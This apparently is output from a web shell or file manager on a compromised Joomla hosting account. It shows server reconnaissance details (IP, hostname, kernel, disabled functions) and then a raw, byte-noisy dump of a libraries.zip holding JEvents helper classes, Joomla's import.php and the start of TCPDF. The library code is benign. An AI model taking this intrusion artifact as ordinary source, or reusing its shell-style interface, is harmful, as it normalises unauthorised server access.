uawdijnntqw1x1x1
IP : 216.73.216.46
Hostname : webm002.cluster123.gra.hosting.ovh.net
Kernel : Linux webm002.cluster123.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
megadansyp
/
www
/
eace8
/
..
/
administrator
/
..
/
e392e
/
libraries.zip
/
/
PK���\�#o,,jevents/jevtypeahead/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK���\ H�33%jevents/jevtypeahead/jevtypeahead.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Utility class for Bootstrap elements. * * @package Joomla.Libraries * @subpackage HTML * @since 3.0 */ class JevTypeahead { /** * @var array Array containing information for loaded files * @since 3.0 */ protected static $loaded = array(); /** * Method to load the Bootstrap JavaScript framework into the document head * * If debugging mode is on an uncompressed version of Bootstrap is included for easier debugging. * * @param mixed $debug Is debugging mode on? [optional] * * @return void * * @since 3.0 */ public static function framework($debug = null) { // Only load once if (!empty(static::$loaded[__METHOD__])) { return; } // Load jQuery JHtml::_('jquery.framework'); JHtml::stylesheet('com_jevents/lib_jevtypeahead/jevtypeahead.css',array(),true); JHtml::script('com_jevents/lib_jevtypeahead/typeahead.bundle.min.js',array("framework"=>false,"relative"=>true)); // If no debugging value is set, use the configuration setting if ($debug === null) { $config = JFactory::getConfig(); $debug = (boolean) $config->get('debug'); } static::$loaded[__METHOD__] = true; return; } /** * Add javascript support for Bootstrap typeahead * * @param string $selector The selector for the typeahead element. * @param array $params An array of options for the typeahead element. * Options for the tooltip can be: * - prefetch string, the url to get initial data from. * The function is passed two arguments, the query value in the input field and the * process callback. The function may be used synchronously by returning the data * source directly or asynchronously via the process callback's single argument. * - field string the field value with the value of the typeahead. * - remote string the url to get the data if prefetch is not enough. * * @return void * * @since 3.0 */ public static function typeahead($selector = '.jevtypeahead', $params = array()) { if (!isset(static::$loaded[__METHOD__][$selector])) { // NEEDS TO BE DIFFERENT FOR EACH SELECTOR TO SUPPORT MULTIPLE INSTANCES ON ONE PAGE! // so we also need different javascript variable names $jsname = "typeaheadData".md5($selector); // Include Typeahead framework static::framework(); // Setup options object $opt['prefetch'] = isset($params['prefetch']) ? $params['prefetch'] : ''; $opt['remote'] = isset($params['remote']) ? $params['remote'] : ''; $opt['data_value'] = isset($params['data_value']) ? $params['data_value'] : 'value'; $opt['menu'] = isset($params['menu']) ? $params['menu'] : 'tt-menu'; $opt['data_id'] = isset($params['data_id']) ? $params['data_id'] : 'id'; $opt['field_selector'] = isset($params['field_selector']) ? $params['field_selector'] : ''; $opt['highlight'] = isset($params['highlight']) ? $params['highlight'] : 'true'; $opt['minLength'] = isset($params['minLength']) ? (int) $params['minLength'] : '3'; $opt['limit'] = isset($params['limit']) ? (int) $params['limit'] : '10'; $opt['scrollable'] = isset($params['scrollable']) ? (int) $params['scrollable'] : '0'; $opt['emptyCallback'] = isset($params['emptyCallback']) ? $params['emptyCallback'] : ''; // Call back method which receives the matched data $opt['callback'] = isset($params['callback']) ? $params['callback'] : ''; $opt['json'] = isset($params['json']) ? $params['json'] : ''; if ($opt['scrollable']){ JFactory::getDocument()->addStyleDeclaration( ".scrollable-dropdown-menu .tt-menu, .scrollable-dropdown-menu .tt-dropdown-menu, #scrollable-dropdown-menu .tt-menu, #scrollable-dropdown-menu .tt-dropdown-menu{max-height: 150px; overflow-y: auto; background-color: #fff;}"); } $options = json_encode($opt); if($opt['prefetch']||$opt['remote']) { $typeaheadLoad = "jQuery(document).ready(function() { var $jsname = new Bloodhound({ datumTokenizer: Bloodhound.tokenizers.obj.whitespace('".$opt['data_value']."'), //identify: function(obj) { return obj.id; }, queryTokenizer: Bloodhound.tokenizers.whitespace, "; if($opt['prefetch']) { $typeaheadLoad .= "prefetch: { url:'".$opt['prefetch']."&token=".JSession::getFormToken()."', ttl:10000 // 10 seconds cache time - increase in production },"; } $callback = ""; if ($opt['emptyCallback']){ $callback = ', transform: function(response) {if(response.length==0){'.$opt['emptyCallback'].'}; return response;} '; } else if ($opt['callback']){ $callback = ', transform: function(response) {return '.$opt['callback'].'(response);} '; } $prepare = ""; if ($opt['json']){ $prepare = " , prepare: function(query, settings) { // replace wildcard with result of query - does not work for some reason :( settings.url = settings.url.replace(settings.wildcard, encodeURIComponent(query)); settings.dataType = 'json'; settings.type = 'POST'; settings.data = {json:" .$opt['json']. ", typeahead:query, token:'".JSession::getFormToken()."'}; return settings; }, "; } if($opt['remote']) { $typeaheadLoad .= "remote: { url: '".$opt['remote']."&token=".JSession::getFormToken()."&typeahead=PQRZYX', wildcard: 'PQRZYX' $callback $prepare },"; } $typeaheadLoad .= "});\n"; // clear local cache! // $typeaheadLoad .= "$jsname.clear();$jsname.clearPrefetchCache();"; $typeaheadLoad .= "jQuery(document).ready(function() {" . "jQuery('".$selector."').typeahead ( { highlight: ".$opt['highlight'].", minLength: ".$opt['minLength'].", classNames : { menu: '" . $opt['menu'] . "'}, }, { name: '$jsname', display: '".$opt['data_value']."', limit: ".$opt['limit'].", source: $jsname } ); })\n"; if($opt['field_selector']) { $typeaheadLoad .= "jQuery('".$selector."').on ( 'typeahead:select', function(ev,data) { jQuery('".$opt['field_selector']."').val(data.".$opt['data_id']."); } )\n"; } $typeaheadLoad .= "});\n"; } // Attach script to document JFactory::getDocument()->addScriptDeclaration($typeaheadLoad); // Set static array static::$loaded[__METHOD__][$selector] = true; } return; } } PK���\��..jevents/jevmodal/index.htmlnu�[���<html> <body bgcolor="#FFFFFF"></body> </html>PK���\x&�C<R<Rjevents/jevmodal/jevmodal.phpnu�[���<?php /** * * @copyright Copyright (C) 2015 - 2025 GWE Systems Ltd. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Factory; use Joomla\CMS\Component\ComponentHelper; /** * Utility class for Bootstrap or UIKit Modal Popups especially URL based Modals which bootstrap usually fails on * */ #[\AllowDynamicProperties] class JevModal { /** * @var array Array containing information for loaded files * @since 3.0 */ protected static $loaded = array(); /** * Add javascript support for Bootstrap modal * * @param string $selector The selector for the modal element. * @param array $params An array of options for the modal element. * Options for the tooltip can be: * - size string, Values can be "max" or "h,w" for height and width values * * @return void * * @since 3.0 */ public static function modal($selector = "", $params = array()) { // Include Modal framework static::framework(); if ($selector !== "") { if (!isset(static::$loaded[__METHOD__][$selector])) { // Include Modal framework static::framework(); $jsonParams = json_encode($params); $script = <<< SCRIPT // Polyfills for MSIE if (window.NodeList && !NodeList.prototype.forEach) { NodeList.prototype.forEach = Array.prototype.forEach; } document.addEventListener('DOMContentLoaded', function() { var targets = document.querySelectorAll('$selector'); targets.forEach(function(target) { target.addEventListener('click', function(evt){ evt.preventDefault(); jevModalSelector(target, $jsonParams, evt); return false; }, target); }); }); SCRIPT; Factory::getDocument()->addScriptDeclaration($script); // Set static array static::$loaded[__METHOD__][$selector] = true; } } return; } /** * Method to load the JavaScript framework into the document head * * If debugging mode is on an uncompressed version of Bootstrap is included for easier debugging. * * @param mixed $debug Is debugging mode on? [optional] * * @return void * * @since 3.0 */ public static function framework($debug = null, $forceBoostrap = false, $forceUIkit = false) { // Only load once if (!empty(static::$loaded[__METHOD__])) { return; } $jevparams = ComponentHelper::getParams('com_jevents'); // UIKit or Bootstrap $jinput = Factory::getApplication()->input; $comMenus = $jinput->getCmd('option') == "com_menus"; $comModules = $jinput->getCmd('option') == "com_modules" || $jinput->getCmd('option') == "com_advancedmodules"; $task = $jinput->getString("task", $jinput->getString("jevtask", "")); if (!$forceBoostrap && !$comMenus && !$comModules && ( Factory::getApplication()->isClient('administrator') || ( $jevparams->get("newfrontendediting", 1) && ($task == "icalevent.edit" || $task == "icalrepeat.edit" || $task == "icalevent.list")) ) ) { HTMLHelper::script('com_jevents/lib_jevmodal/jevmodal_gsl.js', array('framework' => false, 'relative' => true, 'pathOnly' => false, 'detectBrowser' => false, 'detectDebug' => true)); } else if (Factory::getApplication()->isClient('administrator') && Factory::getApplication()->input->getCmd('option') == 'com_rsvppro') { HTMLHelper::script('com_jevents/lib_jevmodal/jevmodal_gsl.js', array('framework' => false, 'relative' => true, 'pathOnly' => false, 'detectBrowser' => false, 'detectDebug' => true)); } else if ($forceUIkit) { HTMLHelper::script('com_jevents/lib_jevmodal/jevmodal_gsl.js', array('framework' => false, 'relative' => true, 'pathOnly' => false, 'detectBrowser' => false, 'detectDebug' => true)); } else if (!$comMenus && !$comModules && strpos($jevparams->get('framework', 'bootstrap'), 'uikit') === 0) { HTMLHelper::script('com_jevents/lib_jevmodal/jevmodal_uikit.js', array('framework' => false, 'relative' => true, 'pathOnly' => false, 'detectBrowser' => false, 'detectDebug' => true)); static::$loaded[__METHOD__] = true; return; } else { // Load jQuery HTMLHelper::_('jquery.framework'); if (version_compare(JVERSION, '4', 'ge') && ( $jevparams->get('framework', 'native') == 'native' || $jevparams->get('framework', 'native') == 'bootstrap5' ) ) { // Include the Bootstrap component Factory::getApplication() ->getDocument() ->getWebAssetManager() ->useScript('bootstrap.modal'); } else if (version_compare(JVERSION, '4', 'lt') && $jevparams->get('framework', 'native') == 'native') { // Include Bootstrap framework JHtml::_('bootstrap.framework'); } HTMLHelper::stylesheet('com_jevents/lib_jevmodal/jevmodal.css', array('relative' => true)); HTMLHelper::script('com_jevents/lib_jevmodal/jevmodal.js', array('framework' => false, 'relative' => true, 'pathOnly' => false, 'detectBrowser' => false, 'detectDebug' => true)); } static::$loaded[__METHOD__] = true; return; } /** * Add javascript support for popovers * * Use element's Title as popover content * * @param string $selector Selector for the popover * @param array $params An array of options for the popover. * Options for the popover can be: * animation boolean apply a css fade transition to the popover * html boolean Insert HTML into the popover. If false, jQuery's text method will be used to insert * content into the dom. * placement string|function how to position the popover - top | bottom | left | right * selector string If a selector is provided, popover objects will be delegated to the specified targets. * trigger string how popover is triggered - hover | focus | manual * title string|function default title value if `title` tag isn't present * content string|function default content value if `data-content` attribute isn't present * delay number|object delay showing and hiding the popover (ms) - does not apply to manual trigger type * If a number is supplied, delay is applied to both hide/show * Object structure is: delay: { show: 500, hide: 100 } * container string|boolean Appends the popover to a specific element: { container: 'body' } * * @return void * * @since 3.0 */ public static function popover($selector = '.hasPopover', $params = array()) { // unset($params['delay']); // Only load once if (isset(static::$loaded[__METHOD__][$selector])) { return; } static::$loaded[__METHOD__][$selector] = true; $jevparams = ComponentHelper::getParams('com_jevents'); $toolTipType = $jevparams->get('tooltiptype', 'bootstrap'); // If using uikit framework then override tooltip preference for consistency if(strpos($jevparams->get('framework', 'bootstrap'), 'uikit') === 0) { $toolTipType = 'uikit'; } // UIKit or Bootstrap $jinput = Factory::getApplication()->input; $option = $jinput->getCmd('option'); $somethingElse = !in_array($option, array("com_jevents", "com_jevlocations", "com_jeventstags", "com_jevpeople", "com_rsvppro")); if ($somethingElse && Factory::getApplication()->isClient('administrator')) { $toolTipType = 'bootstrap'; } // Migrate old MooTools tooltips - from old settings if ($toolTipType == 'joomla') { $toolTipType = $jevparams->get('framework', 'bootstrap') == 'uikit' ? 'uikit' : 'bootstrap'; } if (version_compare(JVERSION, '4', 'ge') && $toolTipType !== 'uikit') { $params["template"] = '<div class="popover" role="tooltip"><div class="popover-arrow"></div><h3 class="popover-header"></h3><div class="popover-body"></div></div>'; // For Joomla 4 we need to change the data attribute - use the native popover method unless specifically using UIKit HTMLHelper::_('bootstrap.popover', $selector, $params); $popoverStyling = <<< SCRIPT document.addEventListener('DOMContentLoaded', function() { // bootstrap may not be available if this module is loaded remotely if (typeof bootstrap === 'undefined') return; var elements = document.querySelectorAll("$selector"); elements.forEach(function(myPopoverTrigger) { myPopoverTrigger.addEventListener('inserted.bs.popover', function () { var title = myPopoverTrigger.getAttribute('data-bs-original-title') || false; const popover = bootstrap.Popover.getInstance(myPopoverTrigger); if (popover && popover.tip) { var header = popover.tip.querySelector('.popover-header'); var body = popover.tip.querySelector('.popover-body'); var popoverContent = ""; if (title) { popoverContent += title; } var content = myPopoverTrigger.getAttribute('data-bs-original-content') || false; if (content) { popoverContent += content; } if (header) { header.outerHTML = popoverContent; } else if (body) { body.outerHTML = popoverContent; } if (popover.tip.querySelector('.jev-click-to-open a') && 'ontouchstart' in document.documentElement) { popover.tip.addEventListener('touchstart', function() { document.location = popover.tip.querySelector('.jev-click-to-open a').href; }); } } }); var title = myPopoverTrigger.getAttribute('data-bs-original-title') || false; const popover = bootstrap.Popover.getInstance(myPopoverTrigger); if (popover && (popover.tip || title)) { if ('ontouchstart' in document.documentElement) { myPopoverTrigger.addEventListener('click', preventPopoverTriggerClick); } } }); }); function preventPopoverTriggerClick(event) { event.preventDefault(); } SCRIPT; Factory::getApplication() ->getDocument() ->addScriptDeclaration($popoverStyling); return; } /* if (version_compare(JVERSION, '4', 'ge') && $jevparams->get('framework', 'native') == 'native') { // Include the Bootstrap component Factory::getApplication() ->getDocument() ->getWebAssetManager() ->useScript('bootstrap.popover'); } */ //$params['delay'] = [ 'show' => 50, 'hide' => 20000 ]; if ($toolTipType !== 'uikit') { JHtml::_('jquery.framework'); JHtml::_('bootstrap.framework'); JLoader::register('JevHtmlBootstrap', JPATH_SITE . "/components/com_jevents/libraries/bootstrap.php"); JevHtmlBootstrap::loadCss(); } $opt['animation'] = isset($params['animation']) ? $params['animation'] : false; $opt['html'] = isset($params['html']) ? $params['html'] : true; $opt['placement'] = isset($params['placement']) ? $params['placement'] : false; $opt['selector'] = isset($params['selector']) ? $params['selector'] : false; $opt['title'] = isset($params['title']) ? $params['title'] : ''; $opt['trigger'] = isset($params['trigger']) ? $params['trigger'] : 'hover focus'; $opt['content'] = isset($params['content']) ? $params['content'] : ''; $opt['delay'] = isset($params['delay']) ? $params['delay'] : false; $opt['container'] = isset($params['container']) ? $params['container'] : 'body'; //$opt['template'] = isset($params['template']) ? $params['template'] : '<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>'; // Custom option to control display on touch devices $opt['mouseonly'] = isset($params['mouseonly']) ? $params['mouseonly'] : false; $options = json_encode($opt); //HTMLHelper::getJSObject($opt); $uikitopt = array(); $uikitopt['title'] = isset($params['title']) ? $params['title'] : ''; $uikitopt['pos'] = isset($params['placement']) ? $params['placement'] : 'top'; $uikitopt['delay'] = isset($params['delay']['show']) ? $params['delay']['show'] : 0; $uikitopt['delayHide'] = 200; $uikitopt['offset'] = 20; $uikitopt['animation'] = 'uk-animation-fade'; $uikitopt['duration'] = 100; $uikitopt['cls'] = 'uk-active uk-card uk-card-default uk-padding-remove uk-background-default'; $uikitopt['clsPos'] = isset($params['clsPos']) ? $params['clsPos']: 'uk-tooltip'; $uikitopt['mode'] = isset($params['trigger']) ? str_replace(" ", ",", $params['trigger']) : 'hover'; $uikitopt['container'] = isset($params['container']) ? $params['container'] : 'body'; $uikitoptions = json_encode($uikitopt); $container = $opt['container']; Factory::getDocument()->addScriptDeclaration( <<< SCRIPT function jevPopover(selector, container) { var uikitoptions = $uikitoptions; var bsoptions = $options; uikitoptions.container = container; bsoptions.container = container; if (bsoptions.mouseonly && 'ontouchstart' in document.documentElement) { return; } if (jQuery(selector).length){ try { ys_setuppopover(selector, uikitoptions); } catch (e) { if ('$toolTipType' != "uikit" || typeof UIkit == 'undefined' ) { // Do not use this for YooTheme Pro templates otherwise you get strange behaviour! if (jQuery(selector).popover ) { // set data-title and data-content if not set or empty var hoveritems = document.querySelectorAll(selector); hoveritems.forEach(function (hoveritem) { var title = hoveritem.getAttribute('data-original-title') || hoveritem.getAttribute('title') || ''; var body = hoveritem.getAttribute('data-original-content') || hoveritem.getAttribute('data-content') || ''; if (body == '') { //hoveritem.setAttribute('data-original-content', 'hello kitty!'); //hoveritem.setAttribute('data-content', 'hello kitty!'); } }); jQuery(selector).popover(bsoptions); } else { if ('$toolTipType' != "uikit") { alert("problem with popovers! Failed to load Bootstrap popovers"); } else { alert("problem with popovers! Failed to load UIkit popovers"); } } } else { // Fall back to native uikit var hoveritems = document.querySelectorAll(selector); hoveritems.forEach(function (hoveritem) { var title = hoveritem.getAttribute('data-yspoptitle') || hoveritem.getAttribute('data-original-title') || hoveritem.getAttribute('title'); var body = hoveritem.getAttribute('data-yspopcontent') || hoveritem.getAttribute('data-content') || hoveritem.getAttribute('data-bs-content') || ''; var options = hoveritem.getAttribute('data-yspopoptions') || uikitoptions; if (typeof options == 'string') { options = JSON.parse(options); } /* var phtml = '<div class="uk-card uk-card-default uk-padding-remove uk-background-default" style="width:max-content;border-top-left-radius: 5px;border-top-right-radius: 5px;">' + (title != '' ? '<div class="uk-text-emphasis">' + title + '</div>' : '') + (body != '' ? '<div class="uk-card-body uk-text-secondary uk-padding-small" style="width:max-content">' + body + '</div>' : '') + '</div>'; */ var phtml = '' + (title != '' ? title.replace("jevtt_title", "uk-card-title uk-text-emphasis uk-padding-small").replace(/color:#(.*);/,'color:#$1!important;') : '') + (body != '' ? body.replace("jevtt_text", "uk-card-body uk-padding-small uk-text-secondary uk-background-default") : '') + ''; options.title = phtml; if (hoveritem.hasAttribute('title')) { hoveritem.removeAttribute('title'); } UIkit.tooltip(hoveritem, options); }); } } } } document.addEventListener('DOMContentLoaded', function() { try { jevPopover('$selector', '$container'); } catch (e) { } }); SCRIPT ); static $hide = false; if (!$hide) { $hide = " (function($) { if (typeof $.fn.popover == 'undefined') { // bootstrap popovers not used or loaded return; } var oldHide = $.fn.popover.Constructor.prototype.hide || false; $.fn.popover.Constructor.prototype.hide = function() { var bootstrap5 = false; var bootstrap4 = false; try { var testClass = window.bootstrap.Tooltip || window.bootstrap.Modal; var bsVersion = testClass.VERSION.substr(0,1); bootstrap5 = bsVersion >= 5; bootstrap4 = bsVersion >= 4 && !bootstrap5; } catch (e) { } var bootstrap3 = window.jQuery && (typeof jQuery().emulateTransitionEnd == 'function'); // Bootstrap 3+ if (this.config || bootstrap4 || bootstrap3 || bootstrap5) { //- This is not needed for recent versions of Bootstrap 4 /* if (this.config.container == '#jevents_body' && this.config.trigger.indexOf('hover') >=0) { var that = this; // try again after what would have been the delay setTimeout(function() { return that.hide.call(that, arguments); }, that.config.delay.hide); return; } */ } // Earlier Bootstraps else { if (this.options.container == '#jevents_body' && this.options.trigger.indexOf('hover') >=0 && this.tip().is(':hover')) { var that = this; // try again after what would have been the delay setTimeout(function() { try { return that.hide.call(that, arguments); } catch (e) { } }, that.options.delay.hide); return; } } if ( oldHide ) { oldHide.call(this, arguments); } }; })(jQuery);"; Factory::getDocument()->addScriptDeclaration($hide); } return; } /** * Add javascript support for Bootstrap tooltips * * Add a title attribute to any element in the form * title="title::text" * * @param string $selector The ID selector for the tooltip. * @param array $params An array of options for the tooltip. * Options for the tooltip can be: * - animation boolean Apply a CSS fade transition to the tooltip * - html boolean Insert HTML into the tooltip. If false, jQuery's text method will be used to insert * content into the dom. * - placement string|function How to position the tooltip - top | bottom | left | right * - selector string If a selector is provided, tooltip objects will be delegated to the specified targets. * - title string|function Default title value if `title` tag isn't present * - trigger string How tooltip is triggered - hover | focus | manual * - delay integer Delay showing and hiding the tooltip (ms) - does not apply to manual trigger type * If a number is supplied, delay is applied to both hide/show * Object structure is: delay: { show: 500, hide: 100 } * - container string|boolean Appends the popover to a specific element: { container: 'body' } * * @return void * * @since 3.0 */ public static function tooltip($selector = '.hasTooltip', $params = array()) { HTMLHelper::_('bootstrap.tooltip',$selector, $params); return; } } PK���\M�� import.phpnu�[���<?php /** * Bootstrap file for the Joomla Platform. Including this file into your application will make Joomla * Platform libraries available for use. * * @package Joomla.Platform * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ // Set the platform root path as a constant if necessary. if (!defined('JPATH_PLATFORM')) { define('JPATH_PLATFORM', __DIR__); } // Detect the native operating system type. $os = strtoupper(substr(PHP_OS, 0, 3)); if (!defined('IS_WIN')) { define('IS_WIN', $os === 'WIN'); } if (!defined('IS_UNIX')) { define('IS_UNIX', IS_WIN === false); } // Import the library loader if necessary. if (!class_exists('JLoader')) { require_once JPATH_PLATFORM . '/loader.php'; } // Make sure that the Joomla Platform has been successfully loaded. if (!class_exists('JLoader')) { throw new RuntimeException('Joomla Platform not loaded.'); } // Setup the autoloaders. JLoader::setup(); // Check if the JsonSerializable interface exists already if (!interface_exists('JsonSerializable')) { JLoader::register('JsonSerializable', JPATH_PLATFORM . '/vendor/joomla/compat/src/JsonSerializable.php'); } // Register the PasswordHash lib JLoader::register('PasswordHash', JPATH_PLATFORM . '/phpass/PasswordHash.php'); /** * Mask for the raw routing mode * * @deprecated 4.0 */ const JROUTER_MODE_RAW = 0; /** * Mask for the SEF routing mode * * @deprecated 4.0 */ const JROUTER_MODE_SEF = 1; PK���\�#o,,visolutions/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK���\��6��visolutions/tcpdf/tcpdf.phpnu&1i�<?php //============================================================+ // File name : tcpdf.php // Version : 5.9.205 // Begin : 2002-08-03 // Last Update : 2013-02-06 // Author : Nicola Asuni - Tecnick.com LTD - Manor Coach House, Church Hill, Aldershot, Hants, GU12 4RQ, UK - www.tecnick.com - info@tecnick.com // License : http://www.tecnick.com/pagefiles/tcpdf/LICENSE.TXT GNU-LGPLv3 // ------------------------------------------------------------------- // Copyright (C) 2002-2013 Nicola Asuni - Tecnick.com LTD // // This file is part of TCPDF software library. // // TCPDF is free software: you can redistribute it and/or modify it // under the terms of the GNU Lesser General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. // // TCPDF is distributed in the hope that it will be useful, but // WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. // See the GNU Lesser General Public License for more details. // // You should have received a copy of the License // along with TCPDF. If not, see // <http://www.tecnick.com/pagefiles/tcpdf/LICENSE.TXT>. // // See LICENSE.TXT file for more information. // ------------------------------------------------------------------- // // Description : // This is a PHP class for generating PDF documents without requiring external extensions. // // NOTE: // This class was originally derived in 2002 from the Public // Domain FPDF class by Olivier Plathey (http://www.fpdf.org), // but now is almost entirely rewritten and contains thousands of // new lines of code and hundreds new features. // // Main features: // * no external libraries are required for the basic functions; // * all standard page formats, custom page formats, custom margins and units of measure; // * UTF-8 Unicode and Right-To-Left languages; // * TrueTypeUnicode, TrueType, Type1 and CID-0 fonts; // * font subsetting; // * methods to publish some XHTML + CSS code, Javascript and Forms; // * images, graphic (geometric figures) and transformation methods; // * supports JPEG, PNG and SVG images natively, all images supported by GD (GD, GD2, GD2PART, GIF, JPEG, PNG, BMP, XBM, XPM) and all images supported via ImagMagick (http://www.imagemagick.org/www/formats.html) // * 1D and 2D barcodes: CODE 39, ANSI MH10.8M-1983, USD-3, 3 of 9, CODE 93, USS-93, Standard 2 of 5, Interleaved 2 of 5, CODE 128 A/B/C, 2 and 5 Digits UPC-Based Extention, EAN 8, EAN 13, UPC-A, UPC-E, MSI, POSTNET, PLANET, RMS4CC (Royal Mail 4-state Customer Code), CBC (Customer Bar Code), KIX (Klant index - Customer index), Intelligent Mail Barcode, Onecode, USPS-B-3200, CODABAR, CODE 11, PHARMACODE, PHARMACODE TWO-TRACKS, Datamatrix, QR-Code, PDF417; // * JPEG and PNG ICC profiles, Grayscale, RGB, CMYK, Spot Colors and Transparencies; // * automatic page header and footer management; // * document encryption up to 256 bit and digital signature certifications; // * transactions to UNDO commands; // * PDF annotations, including links, text and file attachments; // * text rendering modes (fill, stroke and clipping); // * multiple columns mode; // * no-write page regions; // * bookmarks, named destinations and table of content; // * text hyphenation; // * text stretching and spacing (tracking); // * automatic page break, line break and text alignments including justification; // * automatic page numbering and page groups; // * move and delete pages; // * page compression (requires php-zlib extension); // * XOBject Templates; // * Layers and object visibility. // * PDF/A-1b support. // // ----------------------------------------------------------- // THANKS TO: // // Olivier Plathey (http://www.fpdf.org) for original FPDF. // Efthimios Mavrogeorgiadis (emavro@yahoo.com) for suggestions on RTL language support. // Klemen Vodopivec (http://www.fpdf.de/downloads/addons/37/) for Encryption algorithm. // Warren Sherliker (wsherliker@gmail.com) for better image handling. // dullus for text Justification. // Bob Vincent (pillarsdotnet@users.sourceforge.net) for <li> value attribute. // Patrick Benny for text stretch suggestion on Cell(). // Johannes G�ntert for JavaScript support. // Denis Van Nuffelen for Dynamic Form. // Jacek Czekaj for multibyte justification // Anthony Ferrara for the reintroduction of legacy image methods. // Sourceforge user 1707880 (hucste) for line-trough mode. // Larry Stanbery for page groups. // Martin Hall-May for transparency. // Aaron C. Spike for Polycurve method. // Mohamad Ali Golkar, Saleh AlMatrafe, Charles Abbott for Arabic and Persian support. // Moritz Wagner and Andreas Wurmser for graphic functions. // Andrew Whitehead for core fonts support. // Esteban Jo�l Mar�n for OpenType font conversion. // Teus Hagen for several suggestions and fixes. // Yukihiro Nakadaira for CID-0 CJK fonts fixes. // Kosmas Papachristos for some CSS improvements. // Marcel Partap for some fixes. // Won Kyu Park for several suggestions, fixes and patches. // Dominik Dzienia for QR-code support. // Laurent Minguet for some suggestions. // Christian Deligant for some suggestions and fixes. // Travis Harris for crop mark suggestion. // Aleksey Kuznetsov for some suggestions and text shadows. // Jim Hanlon for several suggestions and patches. // Anyone else that has reported a bug or sent a suggestion. //============================================================+ /** * @file * This is a PHP class for generating PDF documents without requiring external extensions.<br> * TCPDF project (http://www.tcpdf.org) was originally derived in 2002 from the Public Domain FPDF class by Olivier Plathey (http://www.fpdf.org), but now is almost entirely rewritten.<br> * <h3>TCPDF main features are:</h3> * <ul> * <li>no external libraries are required for the basic functions;</li> * <li>all standard page formats, custom page formats, custom margins and units of measure;</li> * <li>UTF-8 Unicode and Right-To-Left languages;</li> * <li>TrueTypeUnicode, TrueType, Type1 and CID-0 fonts;</li> * <li>font subsetting;</li> * <li>methods to publish some XHTML + CSS code, Javascript and Forms;</li> * <li>images, graphic (geometric figures) and transformation methods; * <li>supports JPEG, PNG and SVG images natively, all images supported by GD (GD, GD2, GD2PART, GIF, JPEG, PNG, BMP, XBM, XPM) and all images supported via ImagMagick (http://www.imagemagick.org/www/formats.html)</li> * <li>1D and 2D barcodes: CODE 39, ANSI MH10.8M-1983, USD-3, 3 of 9, CODE 93, USS-93, Standard 2 of 5, Interleaved 2 of 5, CODE 128 A/B/C, 2 and 5 Digits UPC-Based Extention, EAN 8, EAN 13, UPC-A, UPC-E, MSI, POSTNET, PLANET, RMS4CC (Royal Mail 4-state Customer Code), CBC (Customer Bar Code), KIX (Klant index - Customer index), Intelligent Mail Barcode, Onecode, USPS-B-3200, CODABAR, CODE 11, PHARMACODE, PHARMACODE TWO-TRACKS, Datamatrix, QR-Code, PDF417;</li> * <li>JPEG and PNG ICC profiles, Grayscale, RGB, CMYK, Spot Colors and Transparencies;</li> * <li>automatic page header and footer management;</li> * <li>document encryption up to 256 bit and digital signature certifications;</li> * <li>transactions to UNDO commands;</li> * <li>PDF annotations, including links, text and file attachments;</li> * <li>text rendering modes (fill, stroke and clipping);</li> * <li>multiple columns mode;</li> * <li>no-write page regions;</li> * <li>bookmarks, named destinations and table of content;</li> * <li>text hyphenation;</li> * <li>text stretching and spacing (tracking);</li> * <li>automatic page break, line break and text alignments including justification;</li> * <li>automatic page numbering and page groups;</li> * <li>move and delete pages;</li> * <li>page compression (requires php-zlib extension);</li> * <li>XOBject Templates;</li> * <li>Layers and object visibility;</li> * <li>PDF/A-1b support.</li> * </ul> * Tools to encode your unicode fonts are on fonts/utils directory.</p> * @package com.tecnick.tcpdf * @author Nicola Asuni * @version 5.9.205 */ // Main configuration file. Define the K_TCPDF_EXTERNAL_CONFIG constant to skip this file. require_once(dirname(__FILE__).'/config/tcpdf_config.php'); /** * @class TCPDF * PHP class for generating PDF documents without requiring external extensions. * TCPDF project (http://www.tcpdf.org) has been originally derived in 2002 from the Public Domain FPDF class by Olivier Plathey (http://www.fpdf.org), but now is almost entirely rewritten.<br> * @package com.tecnick.tcpdf * @brief PHP class for generating PDF documents without requiring external extensions. * @version 5.9.205 * @author Nicola Asuni - info@tecnick.com */ class TCPDF { // private properties /** * Current TCPDF version. * @private */ private $tcpdf_version = '5.9.205'; // Protected properties /** * Current page number. * @protected */ protected $page; /** * Current object number. * @protected */ protected $n; /** * Array of object offsets. * @protected */ protected $offsets = array(); /** * Array of object IDs for each page. * @protected */ protected $pageobjects = array(); /** * Buffer holding in-memory PDF. * @protected */ protected $buffer; /** * Array containing pages. * @protected */ protected $pages = array(); /** * Current document state. * @protected */ protected $state; /** * Compression flag. * @protected */ protected $compress; /** * Current page orientation (P = Portrait, L = Landscape). * @protected */ protected $CurOrientation; /** * Page dimensions. * @protected */ protected $pagedim = array(); /** * Scale factor (number of points in user unit). * @protected */ protected $k; /** * Width of page format in points. * @protected */ protected $fwPt; /** * Height of page format in points. * @protected */ protected $fhPt; /** * Current width of page in points. * @protected */ protected $wPt; /** * Current height of page in points. * @protected */ protected $hPt; /** * Current width of page in user unit. * @protected */ protected $w; /** * Current height of page in user unit. * @protected */ protected $h; /** * Left margin. * @protected */ protected $lMargin; /** * Right margin. * @protected */ protected $rMargin; /** * Cell left margin (used by regions). * @protected */ protected $clMargin; /** * Cell right margin (used by regions). * @protected */ protected $crMargin; /** * Top margin. * @protected */ protected $tMargin; /** * Page break margin. * @protected */ protected $bMargin; /** * Array of cell internal paddings ('T' => top, 'R' => right, 'B' => bottom, 'L' => left). * @since 5.9.000 (2010-10-03) * @protected */ protected 